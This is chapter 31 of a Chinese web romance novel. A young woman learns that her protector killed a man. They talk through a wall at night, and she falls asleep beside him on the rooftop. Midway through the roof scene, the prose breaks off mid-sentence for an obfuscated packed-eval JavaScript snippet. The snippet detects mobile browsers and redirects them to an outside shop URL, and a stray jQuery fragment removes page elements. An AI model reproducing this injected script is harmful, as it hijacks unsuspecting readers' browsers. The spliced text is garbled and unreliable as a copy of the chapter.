31. 第三十一章

作品:《去明天

    温知和一开始没反应过来青年说的是什么,还准备开口再解释一下,把那天的情景描述得更具体一些。一个字都还没说,就愣住了。


    “……你知道?”


    青年嗯了一声,说,“不然你以为那个人影为什么会,”他停了一下,特意用了她自己刚才的描述,“掉下去。”


    “什么意思?”


    “那是哈撒的人。他当时在兰卡威有一些秘密计划,你应该是意外看到了不该看到的东西。”


    许多信息砸进脑子里,在温知和反应过来之前,她已经几步走到青年身前,把手按在沙发背上,身体往下倾,几乎是从上面压着他质问的状态。


    “那个晚上,是你……动的手吗?”


    “嗯。”


    温知和用力地盯着青年,“你还做过什么?”


    “见不得人的争斗而已,其他的都跟你没关系了。我说过你是意外。”他把手伸进她手掌与沙发之间的空隙里,牵住了她的手,也化开了她压在上面的力气。“我会送你回家的。”


    他又补了几个字,“安安全全的。”


    旋即,他轻轻一个翻身,温知和往下一跌稳稳坐进了柔软的皮质沙发里,而青年在旁边站起身来,修长的身形遮住了灯光。


    “喝水吗?”


    他这句话仿佛宣示着刚才那段争执的落幕。划定了一条线,再多的什么,她问了他也不会说。


    温知和把脸埋在手里。终于,抬起头来,指了指桌上那瓶他刚才喝过的。“那瓶就行。”


    青年伸手拿了水,又开了盖子,递给她。温知和一言不发地咕噜咕噜喝了,拧上盖子,说,“……为什么要告诉我?”


    “什么?”


    “刚才的事……瞒着不说对你来说不是更方便吗?”


    青年稍微想了想。“的确。”


    事情抖出来告诉她,反而还多了一番争执。说不定还要引起她的猜疑。


    “为什么要说?”


    温知和打量着他的侧脸,试图在上面找到什么蛛丝马迹。但他什么也没有藏。


    “不知道啊,”他仿佛思索着什么,“看着你,实话忽然就藏不住了。”


    温知和不说话了。


    青年又揉了她的头发。“该休息了。我先给你的伤口换药,然后选个房间睡吧。”


    -


    屋里已经熄灯了。


    温知和在被子里辗转反侧。她选的是二楼的一个小房间,除了一张床和一块勉强能站脚的地方,剩下的就是墙了。窗户紧锁着,有点闷。但地方小了有安全感。


    青年就在离她一墙之隔的地方。就在她头顶后面的那个房间。他进门前她无意中往里面瞥过一眼,那里面的床头也是靠着这边的墙。也许他的脑袋就在离她不到三十公分的位置。


    她凝神听着周围的动静。一点声音也没有。也许是这座房子的墙厚,隔音效果好;也许他也没睡;也许……他睡觉的时候就是比较安静。


    她又翻了个身。


    身上的被子很薄,也很旧,她只用来盖了肚子。身下的木床老是响,她一动就吱呀吱呀的。好像全世界在这深夜里都成了不出声的哑巴,只有这张床不停地在和她说三道四拉家常。


    “唉……”


    还是睡不着。温知和不由长长叹了口气。


    然后,听见了笑声。


    她抬手去敲脑袋后面那堵墙。“笑什么?”


    隔着一堵墙,那边的声音也有些模糊,“睡不着吗?”


    “嗯……”温知和本来只是这么出了一声,又一想他可能听不见,于是抬高了声音,“是啊!”


    “那怎么办?你睡不着的时候一般会做什么?”


    “我睡不着的时候一般会做的事,刚才都做过了,”什么数羊、数水饺、假装自己躺在深水里、冥想放空大脑,全都都走了一遭了,“要不你教教我你的。”她仰起头,仿佛在黑暗里能透过墙看到那边的人似的,“你睡不着的时候一般会做什么?”


    那边隔了一阵才回答,“我已经很少有睡不着的时候了。”


    听了这种话,温知和第一反应是觉得羡慕。通常来说,心态好,脑子里没有烦心事才容易丢下一切进入梦乡。可这个人……


    这个人身上究竟都发生过什么呢?他可以很容易地睡着,是因为内在力量格外强大,外部的一切危机都不足以动摇他的心,还是因为……已经没有什么可以再失去的了?


    吱呀。


    温知和在胡思乱想间又翻了一个身。


    墙的那边开口道,“一定要说一个才行么?”


    温知和在黑暗里歪了歪头,想了一下青年这话是什么意思。他好像是以为……她刚才一直不说话是生气了,觉得他在敷衍?


    于是她说,“是啊!”


    这房子的隔音原来并不太好,她听见他在那边长长地呼出了一口气,也许是在勉强思索。又过了一会儿,他才说,“我小时候被用过一个方法。”


    “‘被’用过?”


    “嗯。”


    “什么方法?”


    “……唱摇篮曲。”


    那得是多小的时候了。温知和说,“那怎么办?要用这种方法的话,是你给我唱吗?”


    “我不唱。”


    “诶……万一真的有效呢?”


    “……”


    “你声音这么好,唱歌应该不难听吧?”


    “我不唱。”


    “唱吧。”


    青年又强调了一次。“不唱。我再想想别的。”


    “我就要这个。”温知和又伸手敲了敲墙,“你看,我还可以给你伴奏。”


    “……”


    没反应了。


    温知和把墙敲了又敲,那边硬是一点声音也没有了。


    “不能这样啊,”她坐起身来,开始胡搅蛮缠,“我现在比之前还清醒,都是你的错。”


    咚咚咚。咚咚咚。咚咚。


    还敲起了节奏。


    这附近的街区没有别的声响,夜色也是黑不隆咚的,好像世界上只剩下这么两个房间和中间的一堵墙。别的事情全都远去了。


    吱呀。是从床上坐起来的声音。


    温知和手里敲墙的动作忽然停住了。墙的那一边接着响起下床声、脚步声。他来得很快。


    咚咚。她的门响了。


    她轻手轻脚地爬到离门比较近的床尾,看见底下的门缝已经亮了光,说,“干嘛?”


    “出来。”


    “你不会是来报复我的吧?不就是敲个墙么。”


    “你当我是动画片里的反派?”


    她想了想。“你是在说我幼稚?”


    “我是在想带你去楼顶。不是睡不着么?”


    温知和转头往窗户外面看了一眼。夜色深深,附近的街区都没什么动静。但天上的星星很多,也很亮。


    她说,“是去……看星星?”


    门外说,“你想的话也可以。”


    温知和下了床,摸着黑把门闩开了,吱呀一声,门慢慢往外推,外面的光线一点点漏进来,照在她身上。


    青年就在眼前,双手插在裤兜里,身体姿态和脸上的神色都有点懒懒的。可能还真是从睡梦里被她弄起来的。


    他朝她伸出手。“走。”


    她把手放上去。“好。”


    -


    这座旧房子一共只有两层,屋顶并不高。坐在上面看四周,不会让人有一览众山小的俯视感,只觉得整片聚落里的房屋像极了起起伏伏的人间的海浪,而自己也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043024|147201||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身在其中。


    外面比屋里凉快。


    温知和抱着膝盖坐在青年身侧,仰着头看天上。“真好看。”


    “嗯。”


    “唉,有点浪费。”


    “怎么了?”


    “我不太擅长形容好看的东西。这么漂亮的星空,有些人可以说好长好长的话,特别美特别浪漫,但是我就只会——”她眯起眼睛笑,又说了一次,“真好看啊。”


    青年道,“听上去像小动物。”


    “诶?为什么?”


    “小猫也一句话都不会说。把好吃的拿出来给它,它再高兴也只会喵喵叫。”


    “喂……”


    “怎么了?”


    她偏过脸去看他。附近很黑,只有几米开外的一盏破旧路灯和天上的星星勉强能算得上是光源,他的轮廓像是半融进黑暗里。那枚标志性的红耳钉也看不太清,仿佛它睡着了。


    她一时忘了刚才被他说像小动物的事,不由开口说,“你——”


    也真好看啊。


    她原本也就只会这么简单的形容,才一开口又觉得这话对着人有点轻挑,于是连后面的几个字也没说了。


    好在他似乎没听见。


    温知和欲盖弥彰地咳了咳,把话题扯开。“说起来,你为什么住这个房子啊?”


    “临时安排。”


    “应该不是那种奇怪的地方吧……”


    “什么奇怪的地方?”


    “就是电影里演的那种……嗯,秘密基地?半夜三更会有人上门和你密谋,你们嘀嘀咕咕一些很机密的事,我起来上厕所,不小心听见……然后被你们灭口……”


    青年笑了起来。“小动物的想象力都这么丰富么?”


    “所以不是?”


    “不是。它只是一座普通的房子。而且,你现在也住在这里,就算有奇怪的事也不会发生在这附近。会远一点的。”


    “噢……”


    “你应该不打算自己在阿甲村到处乱逛吧?”


    “没,这里感觉不是很安全。”


    “明后天都待在屋子里,非要出去透气的话,等我回来再说。”


    “你要出门?”


    “嗯。每天出去一两趟。”


    温知和没问他去干什么。只是抱紧了膝盖,深深地呼出一口气。不知什么时候,刚才在楼下卧室乱敲墙壁的时候那种莫名开心、无所顾忌、好像在他面前做什么都可以的感觉已经不见了,短暂得像一段还没听旋律便彻底消了音的插曲。


    他离她这么近。


    她几乎能感觉到他身上的温度。


    在一阵短暂的沉默里,温知和在某个瞬间又很想问那个问题。


    ——这个近在咫尺的人,究竟叫什么名字呢?


    她动了动嘴唇,但最终还是什么也没有说。她能猜到他会是什么反应。波澜不惊。无动于衷。然后毫无铺垫地讲起其他的事情。


    她轻轻地呼出一口气,然后,讲起一个无关紧要的话题。她说一句,青年便回一句,也还算是没冷过场。


    温知和渐渐困了。


    说着,说着,她身体越来越歪,终于靠在了青年肩上。没再说话了。


    青年微微把头偏下去靠她更近一点,听见均匀的呼吸声。他似乎笑了一下,摇了摇头。


    先前她把他吵醒了,于是两个人才来了屋顶。现在他清醒得很,她自己倒是自顾自地就睡了。


    夜风轻轻地吹过来。


    青年伸出手揽住睡着了的人,让她在自己肩上靠得更舒适,自己则抬头独自看起了星星,看不出在想什么。


    过了很久,耳畔传来一声梦呓。


    青年凝神听了听。


    她说,“妈妈……好想你啊……好想回家……”